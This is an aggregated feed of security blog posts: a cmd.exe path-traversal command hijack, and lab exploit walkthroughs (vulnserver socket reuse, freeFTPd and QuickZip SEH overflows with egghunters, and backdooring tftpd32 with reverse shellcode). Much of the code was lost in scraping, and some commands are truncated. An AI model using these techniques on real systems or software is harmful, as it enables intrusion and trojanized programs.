RSS Security

❌ About FreshRSS
There are new articles available, click to refresh the page.
Before yesterdayBinary Exploitation

Cmd Hijack - a command/argument confusion with path traversal in cmd.exe

10 June 2020 at 05:43

This one is about an interesting behavior 🤭 I identified in cmd.exe in result of many weeks of intermittent (private time, every now and then) research in pursuit of some new OS Command Injection attack vectors.

So I was mostly trying to:

  • find an encoding missmatch between some command check/sanitization code and the rest of the program, allowing to smuggle the ASCII version of the existing command separators in the second byte of a wide char (for a moment I believed I had it in the StripQuotes function - I was wrong ¯\(ツ)/¯),
  • discover some hidden cmd.exe's counterpart of the unix shells' backtick operator,
  • find a command separator alternative to |, & and \n - which long ago resulted in the discovery of an interesting and still alive, but very rarely occurring vulnerability -

And I eventually ended up finding a command/argument confusion with path traversal ... or whatever the fuck this is 😃

For the lazy with no patience to read the whole thing, here comes the magic trick:

Tested on Windows 10 Pro x64 (Microsoft Windows [Version 10.0.18363.836]), cmd.exe version: 10.0.18362.449 (SHA256: FF79D3C4A0B7EB191783C323AB8363EBD1FD10BE58D8BCC96B07067743CA81D5). But should work with earlier versions as well... probably with all versions.

Some more context

Let's consider the following command line: cmd.exe /c "ping",
whereas is the argument controlled by the user in an application that runs an external command (in this sample case it's ping). This exact syntax - with the command being preceded with the /c switch and enclosed in double quotes - is the default way cmd.exe is used by external programs to execute system commands (e.g. PHP shell_exec() function and its variants).

Now, the user can trick cmd.exe into running calc.exe instead of ping.exe by providing an argument like, traversing the path to the executable of their choice, which cmd.exe will run instead of the ping.exe binary.

So the full command line becomes:

cmd.exe /c "ping"

The potential impact of this includes Denial of Service, Information Disclosure, Arbitrary Code Execution (depending on the target application and system).

Although I am fairly sure there are some other scenarios with OS command execution whereas a part of the command line comes from a different security context than the final command is executed with (Some services maybe? I haven't search myself yet) - anyway let's use a web application as an example.

Consider the following sample PHP code:

Due to the use of escapeshellcmd() it is not vulnerable to known command injection vectors (except for argument injection, but that's a slightly different story and does not allow RCE with the list of arguments ping.exe supports - no built-in execution arguments like find's -exec).

And I know, I know, some of you will point out that in this case escapeshellarg() should be used instead - and yup, you would be right, especially since putting the argument in quotes in fact prevents this behavior, as in such case cmd.exe properly identifies the command to run (ping.exe). The trick does not work when the argument is enclosed in single/double quotes.

Anyway - the use of escapeshellcmd() instead of escapeshellarg() is very common. Noticed that while - after finding and registering CVE-2020-12669, CVE-2020-12742 and CVE-2020-12743 ended up spending one more week running automated source code analysis scans against more open source projects and manually following up the results - using my old evil SCA tool for PHP. Also that's what made me fed up with PHP again quite quickly, forcing me to get back to cmd.exe only to let me finally discover what this blog post is mostly about.

I am fairly sure there are applications vulnerable to this (doing OS command injection sanity checks, but failing to prevent path traversal and enclose the argument in quotes).

Also, the notion of similar behavior in other command interpreters is also worth entertaining.

An extended POC

Normal use:


Now, this is what normal use looks like in Sysmon log (process creation event):

So basically the child process (ping.exe) is created with command line equal to the value enclosed between the double quotes preceded by the /c switch from the parent process (cmd.exe) command line.

Now, the same for the above ipconfig.exe hijack:

And it turns out we are not limited to executables located in directories present in  %PATH%. We can traverse to any location on the same disk.

Also, we are not limited to the EXE extension, neither to the list of "executable" extensions contained in the %PATHEXT% variable (which by default is .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC - basically these are the extensions cmd.exe will try to add to the name of the command if no extension is provided, e.g. when ping is used instead of explicit ping.exe). cmd.exe runs stuff regardless to the extension, something I noticed long ago (

And one more thing - more additional arguments between the original command and the smuggled executable path can be added.

Let's see all of this combined.

For the demonstrative purposes, the following C program was compiled and linked into a PE executable (it simply prints out its own command line):

Copied the EXE into C:\xampp\tmp\cmd.png (consider this as an example of ANY location a malicious user could write a file).


So we just effectively achieved an equivalent of actual (exec, not just read) PE Local File Inclusion in an otherwise-safe PHP ping script.

But I don't think that our options end here.

The potential for extending this into a full RCE without chaining with file upload/control

I am certain it is also possible to turn this into an RCE even without the possibility of fully/partially controlling any file in the target file system and deliver the payload in the command line itself, thus creating a sort of polymorphic malicious command line payload.

When running the target executable, cmd.exe passes to it the entire part of the command line following the /c switch.

For instance:

cmd.exe /c "ping"

executes c:\windows\system32\calc.exe with command line equal ping

And, as presented in the extended POC, it is possible to hijack the executable even when providing multiple arguments, leading to command lines like:


This is the command line lol.bin would be executed with. Finding a proxy execution LOLBin tolerant enough to invalid arguments (since we as attackers cannot fully control them) could turn this into a full RCE.
The LOLBin we need is one accepting/ignoring the first argument (which is the hardcoded command we cannot control, in our example "ping"), while also willing to accept/ignore the last one (which is the traversed path to itself). Something like, but actually accepting multiple arguments while quietly ignoring the incorrect ones.

Also, I was thinking of powershell.

Running this:

cmd.exe /c "ping ;calc.exe;"

makes powershell start with command line of

ping ;calc.exe

I expected it to treat the command line as a string of inline commands and run calc.exe after running ping.exe. Yes, I know, a semicolon is used here to separate ping from calc - but the semicolon character is NOT a command separator in cmd.exe, while it is in powershell (on the other hand almost all OS Command Injection filters block it anyway, as they are written universally with multiple platforms in mind - cause obviously the semicolon IS a command separator in unix shells).

A perfect supported syntax here would be some sort of simple base64-encoded code injection like powershell's -EncodedCommand, having found a way to make it work even when preceded with a string we cannot control. Anyway, this attempt led to powershell running in interactive mode instead of treating the command line as a sequence of inline commands to execute.

Anyway, at this point turning this into an RCE boils down to researching the behaviors of particular LOLbins, focusing on the way they process their command line, rather than researching cmd.exe itself (although yes, I also thought about self-chaining and abusing cmd.exe as the LOLbin for this, in hope for taking advantage of some nuances between the way it parses its command line when it does and when it does not start with the /c switch).

Stumbling upon and some analysis

I know this looks silly enough to suggest I found it while ramming that sample PHP code over HTTP with Burp while watching Procmon with proper filters... or something like that (which isn't such a bad idea by the way)... as opposed to writing a custom cmd.exe fuzzer (no, you don't need to tell me my code is far away from elegant, I did not expect anyone would read it neither that I would reuse it), then after obtaining rather boring and disappointing results, spending weeks on static analysis with Ghidra (thanks NSA, I am literally in love with this tool), followed up with more weeks of further work with Ghidra while simultaneously manually debugging with x64dbg while further expanding comments in the Ghidra project 😂

cmd.exe command line processing starts in the CheckSwitches function (which gets called from Init, which itself gets called from main). CheckSwitches is responsible for determining what switches (like /c, /k, /v:on etc.) cmd.exe was called with. The full list of options can be found in cmd.exe /? help (which by the way, to my surprise, reflects the actual functionality pretty well).  

I spent a good deal of time analyzing it carefully, looking for hidden switches, logic issues allowing to smuggle multiple switches via the command line by jumping out of the double quotes, quote-stripping issues and whatever else would just manifest to me as I dug in.

The beginning of the CheckSwitches function after some naming editions and notes I took

If the /c switch is detected, processing moves to the actual command line enclosed in double quotes - which is the most common mode cmd.exe is used and the only one the rest of this write-up is about:

The same mode can be attained with the /r switch:

After some further logic, doing, among other things, parsing the quoted string and making some sanity fixes (like removing any spaces if any found from its beginning), a function with a very encouraging and self-explanatory name is called:

Disassembly view:

Decompiler view:

At this point it was clear it was high time for debugging to come into play.

By default x64dbg will set up a breakpoint at the entry point - mainCRTStartup.

This is a good opportunity to set an arbitrary command line:

Then start cmd.exe once again (Debug-> Restart).

We also set up a breakpoint on the top of the SearchForExecutable function, so we catch all its instances.

We run into the first instance of SearchForExecutable:

We can see that the double-quoted proper command line (after cmd.exe skips the preceding cmd.exe /c) along with its double quotes is held in RBX and R15. Also, the value on the top of the stack (right bottom corner) contains an address pointing at CheckSwitches - it's the saved RET. So we know this instance is called from CheckSwitches.

If we hit F9 again, we will run into the second instance of SearchForExecutable, but this time the command line string is held in RAX, RDI and R11, while the call originates from another function named ECWork:

This second instance resolves and returns the full path to ping.exe.

Below we can see the body of the ECWork function, with a call to SearchForExecutable (marked black). This is where the RIP was at when the screenshot was taken - right before the second call of SearchForExecutable:

Now, on below screenshot the SearchForExecutable call already returned (note the full path to ping.exe pointed at with the address held in R14). Fifteen instructions later the ExecPgm function is called, using the newly resolved executable path to create the new process:

So - seeing SearchForExecutable being called against the whole ping string (uh yeah, those evil spaces) suggests potential confusion between the full command line and an actual file name... So this gave me the initial idea to check whether the executable could be hijacked by literally creating one under a name equal to the command line that would make it run:

Uh really? Interesting. I decided to have a look with Procmon in order to see what file names cmd.exe attempts to open with CreateFile:

So yes, the result confirmed opening a copy of calc.exe from the file literally named ping .PNG in the current working directory:

Now, interestingly, I would not see any results with this Procmon filter  (Operation = CreateFile) if I did not create the file first...

One would expect to see cmd.exe mindlessly calling CreateFile against nonexistent files with names being various mutations of the command line, with NAME NOT FOUND result - the usual way one would search for potential DLL side loading issues... But NOT in this case - cmd.exe actually checks whether such file exists before calling CreateFile, by calling QueryDirectory instead:

For this purpose, in Procmon, it is more accurate to specify a filter based on the payload's unique magic string (like PNG in this case, as this would be the string we as attackers could potentially control) occurring in the Path property instead of filtering based on the Operation.

"So, anyway, this isn't very useful" - I thought and got back to x64dbg.

"We can only hijack the command if we can literally write a file under a very dodgy name into the target application's current directory... " - I kept thinking - "... Current directory... u sure ONLY current directory?" - and at this point my path traversal reflex lit up, a seemingly crazy and desperate idea to attempt traversal payloads against parts of the command line parsed by SearchForExecutable.

Which made me manually change the command line to ping and restart debugging... while already thinking of modifying the cmd.exe fuzzer in order to throw a set payloads generated for this purpose with psychoPATH against cmd.exe... But that never happened because of what I saw after I hit F9 one more time.

Below we can see x64dbg with cmd.exe ran with cmd.exe /c "ping" command line (see RDI).  We are hanging right after the second SearchForExecutable call, the one originating from the bottom of the ECWork function. Just few instructions before calling ExecPgm, which is about to execute the PE pointed by R14. The full path to C:\Windows\System32\calc.exe present R14 is the result of the just-returned  SearchForExecutable("ping") call preceding the current RIP:

The traversal appears to be relative to a subdirectory of the current working directory (calc.exe is at c:\windows\system32\calc.exe):

"Or maybe this is just a result of a failed path traversal sanity check, only removing the first occurrence of ../?" - I kept wondering.

So I dug further into the SearchForExecutable function,  also trying to find the answer why variants of the argument created by splitting it by spaces are considered and why the most-to-the-right one is chosen first when found.

I narrowed down the culprit code to the instructions within the SearchForExecutable function, between the call of mystrcspn at 14000ff64 and then the call of the FullPath function at 14001005b and exists_ex at 140010414:

In the meantime I received the following feedback from Microsoft:

We do have a blog post that helps describe the behavior you have documented:

Cmd.exe first tries to interpret the whole string as a path: "ping” string is being treated as a relative path, so “ping” is interpreted as a segment in that path, and is removed due to the preceding “../” this should help explain why you shouldn’t be able to use the user controlled input string to pass arguments to the executable.

There are a lot a cases that would require that behaviour, e.g. cmd.exe /c "....\Program Files (x86)\Internet Explorer\iexplore.exe" we wouldn’t want that to try to run some program “....\Program” with the argument “Files (x86)\Internet Explorer\iexplore.exe”.

It’s only if the full string can’t be resolved to a valid path, that it splits on spaces and takes everything before the first space as the intended executable name (hence why “ping” does work).

So yeah... those evil spaces and quoting.

From this point, I only escalated the issue by confirming the possibility of traversing to arbitrary directories as well as the ability to force execution of PE files with arbitrary extensions.

Interestingly, this slightly resembles the common unquoted service path issue, except that in this case the most-to-the-right variant gets prioritized.

The disclosure

Upon discovery I documented and reported this peculiarity to MSRC. After little less than six days the report was picked up and reviewed. About a week later Microsoft completed their assessment, concluding that this does not meet the bar for security servicing:

On one hand, I was little disappointed that Microsoft would not address it and I was not getting the CVE in cmd.exe I have wanted for some time.

On the other hand, at least nothing's holding me back from sharing it already and hopefully it will be around for some time so we can play with it 😃 It's not a vulnerability, it's a technique 😃

I would like thank Microsoft for making all of this possible - and for being nice enough to even offer me a review of this post! Which was completely unexpected, but obviously highly appreciated.

Some reflections

Researching stuff can sometimes appear to be a lonely and thankless journey, especially after days and weeks of seemingly fruitless drudging and sculpturing - but I realized this is just a short-sighted perception, whereas success is exclusively measured by the number of uncovered vulnerabilities/features/interesting behaviors (no point to argue about the terminology here 😃). In offensive security we rarely pay attention to the stuff we tried and failed, even though those failed attempts are equally important - as if we did not try, we would never know what's there (and risk false negatives). Curiosity and the need to know. And software is full of surprises.

Plus, simply dealing with a particular subject (like analyzing a given program/protocol/format) and gradually getting more and more familiar with it feeds our minds with new mental models, which makes us automatically come up with more and more ideas for potential bugs, scenarios and weird behaviors as we keep hacking. A journey through code accompanied by new inspirations, awarded with new knowledge and the peace of mind resulting from answering questions... sometimes ending with great satisfaction from a unique discovery.

Multi-Stage EIP redirection Buffer Overflow -- Win API / Socket Reuse

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (KSTET)

Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:


We get the initial crash using the following fuzzer.

...and we get a pretty vanilla EIP overwrite buffer overflow.

Calculating the offset as usual using Metasploit's pattern_offset.rb and pattern_create.rb

We have our offset value so at this point we will need to find JMP ESP address and redirect EIP to it. We will use address 0x625011AF.
Note that you can use Immunity Debugger's or just search it manually.

Updated POC with the offset value and JMP ESP address.

As we examine the crash in Immunity Debugger, we can see the correct offset value and hit our JMP ESP address however, once the jump is taken, our Cs have been truncated. As a result, this only gives us a space of about 20 bytes.

That said, we will use the C buffer space to do a reverse jmp to A's address space which allowed for roughly about 66 bytes of address space.

Reverse jump EB B8 and will jump as from address 0x00D0F9E0 to 0x00D0F99A

We update and send our exploit...then take the jump.

Once again, we examine the crash and see that we have successfully landed on A's address space.

Now the fun part begins..thanks to for pointing out this type of vector.

Stolen from purpl3f0xsec...the diagram below shows how the socket connection is established between the client and the vulnserver.

Basically, we will utilize (reuse) the recv() function call. The idea is to utilize the established socket() connection and use the recv() as the first stage payload. Once the recv() function is up and running, we will then send our second stage payload.

The second stage payload will not overflow the buffer so it will not get truncated.

More information about the recv() can be found here:

To set up recv(), we need the following parameters.

Socket = socket descriptor

Buffer = memory location for our second stage payload

BufferSize = memory space allocation for our second stage payload

Flags = Socket flags…can be set to Null

These are the parameters will need to be pushed to the stack (don't forget reverse order).

Before I populated the parameters, I grabbed the address of recv() which can be done by going in to the .text entry point and if we scroll down, we will find the functions.

Address 0x00401953 has the recv() but if you double click shows the actual address which is 0x0040252C

I set a breakpoint at address 0x0040252C.

Once we hit our breakpoint, if you look at the stack, we can see the parameters that are currently loaded in the stack.

Note that at this point...both EAX and EBX registers have the socket descriptor value of 0x00000050. This is because of the instructions at these addresses: 0x0040194A and 0x00401950

0x0040194A - MOV EAX, DWORD PTR SS: [EBP-420]

This is a pointer to [EBP-420] so whatever the value loaded in [EBP-420] gets mov into EAX

We can see that EBP currently points to address 0x00EEFF88 so subtracting 420 should get us to the address that holds the socket descriptor.


As expected, if we jump to address 0x00EEFB68...we can see the value 0x00000050 loaded in.

Now, address 0x00401950 has the following instructions..

0x00401950 - MOV DWORD PTR SS:[ESP], EAX

This basically just loads the socket descriptor value stored in EAX, to the the [ESP] pointer. We can verify this by following ESP in the stack which currently points to address 0x011CF9E0

Next, we will load the value of socket descriptor to EAX. ASLR is enabled we will to do some math and ee will use ESP's address as a reference point.

We know that EBP register holds the socket descriptor located at address 0x00EEFB68. This means that we will need to do following:

 0x00EEFB68 (EBP) - 0x00EEF9E0 (ESP) = 188 (in hex) we will need to add 188 to ESP. We will do this by pushing ESP into stack, and pop it to EAX then add 188 to EAX. If our calculation is correct, we should have the socket descriptor address (0x00EEFB68) loaded to EAX.

We run the following instuctions:



ADD AX, 188


And we can see that address 00EEFB68 is now loaded in EAX which contains the socket descriptor value of 0x00000050 as shown in the stack. we have the socket descriptor easily accessible!

Re-aligning ESP

At this point, we will have to re-align ESP so that we don't arbitrarily overlap with our first stage instructions. As we push more instructions to the stack, especially in a small  address space, we risk overlaping our first stage with ESP.

That said, we need to move our ESP below where our first stage will be loaded.

We use the following instructions to adjust ESP:

SUB ESP, 6C                         ;SUB 108 from ESP

This makes ESP points to 0x00EEF974

***Note that towards the end of the exploit development, I found that ESP  needed to point directly below the recv() parameters. That meant I had to adjust ESP and only subtracted 64 which pointed it to address 0x00EEF97C instead.

At this point, we have accomplished the following:

1. Located the address for the recv() function
2. Located the address that holds the socket descriptor value
3. Loaded the socket descriptor value to EAX
4. Aligned the stack to ensure our first stage does not overlap with ESP

Now we are ready to populate the parameters for our recv() function call.

Note that we need 4 parameters for the this function call pushed to the stack in reverse order.

0x1 - Param #4 (Flags)

Since we are not setting any flags, we will set this parameter to NULL.

Using the EBX register...we zero it out using XOR instruction before pushing it to the stack


0x2 - Param #3 (Buffer Size)

For the buffer size, I picked about 1024 bytes of buffer space which is a lot more than what we need.

Utilizing the EBX register again which is already set to zero...we will add 400 (in hex) to it.


0x3 - Param # 2 (Buffer Location)

I initialy pointed the buffer location to beginning of the Cs (0x00EEF9E4), however, it didn't work so I had to point it directly right after the four parameters. In this case, the buffer location has to be pointed to address 0x00EEF97C

We  can use the ESP address again...load the address into EBX then do some math which in this case I had to add 120 to ESP (HEX 78)


0x4 - Param #1 (Socket Descriptor)

Finally, for the socket descriptor we will need to access the value currently stored in EAX (not EAX address itself)

EAX is still pointing to 0x00EEFB68 that holds the socket descriptor value of 0x00000050

We can simply push the value stored in EAX using the following instruction:


...and we are done with the parameters. 

At this point, we should have the following parameters. 

Socket descriptor = 0x00000050

Buffer location = beginning of our C's (NOTE: this was adjusted to address 0x00EEF97C)

Buffer size = 400 (1024 in dec)

Flags = 0

Calling the RECV()

With the parameters set, we are now ready to call our RECV() function. Note that RECV() function is at adddress 0x0040252C

As you can see the recv() address contains null bytes which we will need to be removed. I learned something new from to how to remove these null bytes.


We simply use an arbitrary address such as removing the null bytes and adding 90 for the lowest byte: 0x40252C90 instead of 0x0040252C


So we move this arbitrary address to EAX:


MOV EAX, 40252C90


Then we shift to right by 8 bits which removes the last 8 bits (0x90) and adds 00 to the first 8 bits



Finally, we simply CALL EAX


Here just right before we execute CALL EAX, we can see that it currently points to the recv() address

That is the entire first stage...and we update our POC as shown below

We fire up the exploit one more, step through the stager, and we can see that we have all 4 parameters ready to go…they are followed with the address of where our payload will be loaded.

Second Stage / Reverse Shell

With our RECV() function ready, we can send our second stage payload.

We update our POC and see if we can add the Ds to memory.

Noe that I added a sleep(5) in between first and second stage. This ensures that our RECV() fucntion is ready before we send the second stage payload.

Here we can see that we have successfully loaded our Ds to memory at address 0x011EFD7C or 0x00EEFD7C (note ASLR).

We then replace the Ds with an actual reverse shell, fire up the exploit, and we get a reverse shell!

Thank you for reading.

Portable Executable (PE) backdooring and Address Space Layout Randomization (ASLR)

This blog will go over on how to backdoor windows executable.  The intent is to show how a windows PE can be hijacked and introduced a reverse shell while still allowing the executable to maintain its functionality. We will go over how ASLR provides  security feature that randomises the base address of executables/DLLs and positions of other memory segments like stack and heap. This prevents exploits from reliably jumping to a certain function/piece of code. 

This is why you shouldn't trust any executables that you are introducing to your system without verifying its source or checksum.


Address Space Layout Randomization (ASLR):  

tftpd32.exe - is free, open-source TFTP server that is also includes a variety of different services, including DHCP, TFTP, DNS, and even syslog and functions as a TFTP Client as well
PsExec.exe - is a command-line tool that lets you execute processes on remote systems and redirect console applications' output to the local system so that these applications appear to be running locally. 


Immunity Debugger ( 
LordPE ( 
XVI32 (


0x0 - Adding a New Section...Code Cave

There are basically two (or more?) ways to get a code cave (1) Find available address space and (2) add a new executable section.

"The concept of a code cave is often employed by hackers and reverse engineers to execute arbitrary code in a compiled program. It can be a helpful method to make modifications to a compiled program in the example of including additional dialog boxes, variable modifications or even the removal of software key validation checks. Often using a call instruction commonly found on many CPU architectures, the code jumps to the new subroutine and pushes the next address onto the stack. After execution of the subroutine a return instruction can be used to pop the previous location off of the stack into the program counter. This allows the existing program to jump to the newly added code without making significant changes to the program flow itself."

(1) Finding a code cave using backdoor-factory

(2) Using LordPE to add a new executable section.

For this blog, we will add a new section. As seen above, I added a section with 1000 virtual size, raw size 400. Also note that virtual offset is 0004B000 as we will need this value to calculate the Relative Value Address (RVA). Since ASLR is enabled, we will use RVA in order to dynamically do our jumps and address redirections.

0x1 - Entry point and New Section address

Using immunity debugger, we get the address of the new section (from this on this will be called code cave)

We can see that the address is currently pointing to 010AB000, however, the 2 higher-bytes of the adressare irrelevant due to ASLR.

We can see the entry point once we open up tftpd32.exe in immunity debugger and verify the memoy map. We will be hijacking the first instruction to make the jump to our code cave. Also, note that we will need to reintroduce these two instructions after the backdoor.

If ASLR was not enabled, we could have easily done a jmp 010AB000. That said, we will need to do some calculations to always hit the code cave regardless if its address is randomized.
To calculate the RVA, we will need the virtual offset and the entry point.

4B000 (VOffset) - 1208C (EntryPoint) = 3 8F74. This mean that we will do a jmp 38F74. 

Using nasm_shell.rb, we generate the following opcodes.

Our first instruction will be updated with E9 6F8F0300 which will do a jump to our code cave.

...if we reload the program, ASLR kicks in as we can see the higher 2 bytes have changed. The same opcodes but different address.

We take the jump and it lands us to the beginning of our code cave.

0x2 - Backdoor/Reverse Shell Code

Once in our code cave, we will add a Metasploit reverse shellcode

We will create the payload in hex format and binary copy it to the program using immunity debugger.

Before the reverse shell can be copied, all the registers and flags have to be said which can be done with PUSHAD and PUSHFD instructions. This is needed to maintain the integrity of the original program execution.

Once reverse shellcode is added, registers and flags are restored to their original state using POPFD and POPAD. However before that, we need to adjust the value of ESP to point it to the original stack/ESP value. 

In my case, here are the ESP values

Before shellcode: 0025F908
After shellcode: 0025F70C

We will need to add 1FC to the ESP to align it, then execute the POPFD and POPAD instructions to restore the registers and flags

At this point, if we add a breakpoint at the end of our shellcode and run the program...we should get a reverse shell to our Kali netcat listener.

As you can see that we have successfully hijacked code execution and redirected it to our code cave containing our reverse shellcode.

0x3 - Restoring Original Program Instructions

Remember the two instruction at the entry point before they were hijacked.? We will now need to restore these two instructions so the program can run as intended.

Keep in mind that we are still dealing with ASLR which means we will need calculate the RVA once again.

0096 BF15 - 0095 0000 = RVA 1 BF15 (this will be our CALL RVA_1 BF15) (additional offset by 10000)

0096 2091 - 0095 0000 = RVA 1 2091 (this will be our JMP RVA_1 2091)  (additional offset by 10000)

At address 010AB169 or RVA 4B169 (virtual offset + 169)


RVA_4B169 - RVA_1 BF15 

At address 010AB16E or RVA 4B16E (virtual offset + 16E)

RVA_4B16E- RVA_1 2091

Add these instructions or opcodes as shown below:

And we are done...somewhat.

0x4 - WaitForSingleObject

Our reverse shell calls the WaitForSingleObject function which pushes an ESI value of -1. As a result, tftpd32.exe will not execute until we exit the reverse shell. This mean that we will need to change the ESI value from -1 to 0.

We will trace code execution in immunity debugger using 'Trace Over' command.

Line 5 has DEC ESI instructions which makes ESI = FFFFFFFF. This means that all we need to do is cancel the DEC ESI instructions (making it NOP works just fine)!  

We should now be able to successfully execute the program while it also simultaneously sends a reverse shell to Kali.

Thanks for reading.

freeFTPd-1.0.10 SEH Based Buffer Overflow

Kali Linux
Windows Vista
freeFTPD 1.0.10

Original Author, POC, and vulnerable software:


Vulnerable program:

Initial Proof-of-Concept 

...and we get our initial crash where our SEH handler and nSEH have been overwritten with 41s.

Calculating the offset values

As usual, we use Metasploit's pattern _create.rb and pattern_offset.rb

We update our POC with the following offset values

...and we verify that we hit the correct offset values as shown with the Cs and Bs


Since this a SEH based buffer overflow, as usual we will need a POP-POP-RET address.

I am using to find this address.

Also, note that we will need to find an address that SAFESEH and ASLR disabled.

We will use address 0x0041B865

Again, we update our POC with our SEH Handler redirect address

We send our exploit up and we have successfully redirected code execution as we hit our POP-POP-RET address.

We follow the POP-POP-RET and we hit our nSEH which is just right below our As

Note: We currently do not see our Ds.

...however, if we scroll further down, we can see that our Ds are still loaded in memory. Just need find them...aka. egghunter.

First Jump

Since our first jump is limited to just 4 bytes, we will do a 2 byte reverse short jmp

EB 80 or jmp short reverse 128 bytes.

We update our nSEH with EB 80 and added 2 more NOPs (not necessary) to complete the 4 bytes.

We fire up the POC on more time, take the pop-pop-ret, and hit our first jump

Restricted characters 

After going through the 256 hex characters, we found that 0xa is the only restricted character

So far, we have accomplished the following:

1. Successfully crash the program and overwrite the SEH and nSEH
2. Calculated the offset values
3. Found POP-POP-RET address
4. Completed the first jump from nSEH which allows 127 bytes of address space

Egg...hunting! can create an egghunter using

Note: I am using a slightly different egghunter shellcode.

We update our POC with our egghunter shellcode and add the egg in front of our Ds

Send the exploit up...take the first jump (EB 80) and we land on our NOP sled.

If we scroll down, our egghunter is just right below our the NOP sled.

We let the egghunter execute while adding a breakpoint at JMP EDI to check the value of EDI.

Here we can see that we have successfully located our egg...all that we need to do now is add our reverse shellcode right after our egg.

At this point we are ready to add our reverse shell

QuickZip 4.60 SEH Based Buffer Overflow w/ Egghunter

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability

Kali Linux
Windows Vista
QuickZip 4.60

Bug found by: corelancod3r (
Software Link:



This is another SEH based buffer overflow with an egghunter implementation. A more detailed explanation that I wrote about an egghunter implementation can be found here:

You can find numerous write-ups about this vulnerability and exploit it. This buffer overflow vulnerability gives us a good mix of shellcode encoding due to restricted characters as well as how to implement an egghunter. 

I'm doing this as part of my preparation of Offensive Security Certified Expert (OSCE) certification

0x0 - Setup

Our Proof-of-Concept creates a .zip file that we will access using QuickZip.

0x1 - Fuzzing

As usual, step one in exploit development is fuzzing. This allows us to examine how the program responds when we introduce a buffer (oversized) to it.

We will be using the fuzzer from corelan as shown below.

We examine the crash using immunity debugger and we can see that have successfully overwritten the SEH handler with 41s.

0x2 - Calculating the offset

We will utilize Metasploit's pattern_create.rb and pattern_offset.rb

First, we create unique characters of 4068 bytes and update our POC

We check the SEH chain after the crash to get the offset values

SEH: 6B41396A
nSEH: 41386A41

Second, we calculate these values using pattern_offset.rb

Finally, we update our POC and verify if these values are correct.

If everything is correct, we should see Bs at byte 294 and Cs at byte 298.

Our values are correct as we see the 43s and 42s overwrite both SEH and nSEH respectively.

0x3 - Verifying Restricted Characters

At this point, we are now ready to find an address to redirect the SEH handler. However, before we waste our time looking for an address, we will need to verify first if there are restricted characters. 

First, I worked on the first 128 bytes (x01 to x7F)

I sent the characters to the program and carefully watching how the program responds to the characters. If it gets mangled/truncated/updated, then it's a bad character.

After numerous tries, I was able to narrow down the restricted characters to the following:


Updated POC below:

Second, I worked with the other 128 bytes (x80 to xff)

Interestingly, hex characters 80 and above are changed to an arbitrary hex character.

I sent the following characters...

...and we see the following conversion in Immunity Debugger

The table below shows the conversion (not a complete list).

0x4 - POP-PO-RET address!

Now that we know which characters are not allowed, we are ready to find a POP-POP-RET address.

Lucky for us, Immunity Debugger's module enables an easier way to find a POP-POP-RET address. 

There were multiple addresses found.

Although not ideal since it has null bytes, we will be using address 00435133

We can verify that this is indeed a POP-POP-RET address by searching for it.

We can update our POC with this address and see if our SEH handler gets redirected to it. 

Note that the address has to be in little-endian.

We fire up the POC and we have successfully redirected the SEH handler as shown below:

…once we take the pop-pop-ret, we then get redirected to our nseh values (EBs)

Note that our  Ds are nowhere to be found now, however, our As are easily accessible which is just right above our nSEH. This means our initial jump will have to be a reverse jump to the beginning of our As that should get us at least 127 bytes of address space to further jump to a bigger space (Ds location)

0x5 - First Jump

Normally, we would be able to easily to a reverse jump short 80 (EB 80). However, note that any hex character of 80 or over is restricted and converts to a different hex character.

More info about jump shorts (forward and reverse) can be found here:

If we go back to our bad characters table…we can see that hex 89 and 9F translates to EB and 83 respectively.


Here's how the EB 83 instructions would work as shown in Immunity. 

We can now update our POC with our first jump

We see our EB 83 first jump in SEH chain

We take the pop-pop-ret and we successfully hit our first jump…from 0012FBB0 to 0012FB35

0x6 - Second Jump - Egghunter

Remember that the address space for our Ds is missing now (still in memory). This is where ideally where reverse shellcode would be. 

Note above that our dump doesn't show the address space where are Ds are close to our As.

Just because we can't find it doesn't mean it is missing…this is where an egghunter shellcode comes in to play.

Here's a write-up that I did about egghunter: also has a module to create an egghunter.

Note: I will be using a different egghunter

Due to restricted characters, we will need to carve out our egghunter shellcode so I will be using the egghunter shellcode that I used for OSCE prep (I spent way too much time carving them).

Also, note that I did another EB 83 at the beginning of our second jump to allow another 120+ bytes of address space as I noticed that the first jump wasn't enough space
Before we can start carving out the egghunter shellcode, we will need to align the ESP to point to the space below our first EB 08  at address 0012FB8D--this is where our egghunter shellcode will be decoded. 

We can see that ESP is currently pointed at 012F574 and we want to point to 0012FB8D

We will need to add 1561 to ESP

To align ESP, we need the following instructions:

PUSH ESP                   
ADD AX, 619

Keep in mind that we still need to avoid restricted characters...fortunately, the opcodes that correspond  to these instructions are not restricted

We execute the following instructions and we can see that our ESP now points to 0012FB8D

Again, we update our POC with our initial ESP realignment which will be the beginning of our egghunter shellcode

With our ESP aligned to where we want it to point....we can start carving out our egghunter shellcode.

Here's the original egghunter shellcode broken down into 4 bytes

#original egg hunter shellcode

We will be using the EAX register to carve out the egghunter. Note that we need to zero out EAX first before we execute SUB instructions. We start from the last 4 bytes and work our way up.

zero_out_eax = "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"

This whole carving thing is straight black never ceases to amaze me.

#using hex/dword in windows calc
#0 - E7FFE775 = 1800 188B
#7950 5109 + 7950 5109 + 255F7679 = 1800 188B
#0 - 07950 5109 - 79505109 - 255F7679 = E7FFE775

These 4 bytes are encoded by doing some SUB instructions on EAX, then it gets pushed to the stack, and then they get decoded at the ESP address.

We will be doing this for the other 28 bytes

#using hex/dword in windows calc
#0 - AFEA75AF = 5015 8A51
#71094404 + 71094404  + 6E03 0249‬ =  5015 8A51
#0 - 71094404 - 71094404  - 6E03 0249 = AFEA75AF

#using hex/dword in windows calc
#0 - FA8B 5730 = 0574 A8D0‬
#55093131 + 55093131  + 5B62 466E = 0574 A8D0‬
#0 - 55093131 - 55093131  - 5B62 466E = FA8B 5730

#using hex/dword in windows calc
#0 - 3054 B8EF = CFAB 4711
#56316666 +56316666  + 2348 7A45 = CFAB 4711
#0 - 56316666  - 56316666  - 2348 7A45 = 3054 B8EF

At this point, we have successfully carved out the first 16 bytes of our egghunter shellcode.

Note that we are getting close  our second EB 83 jmp…we will need to jump over this to get to the next 127 bytes of address space

I made a mistake on the ESP realignment that resulted in wasted address space. ESP should have been pointed to the end of our 41s as the stack grows bigger, the address becomes smaller.

This means we need ESP to be pointing at address 0012FBAC

Adjusted ESP alignment

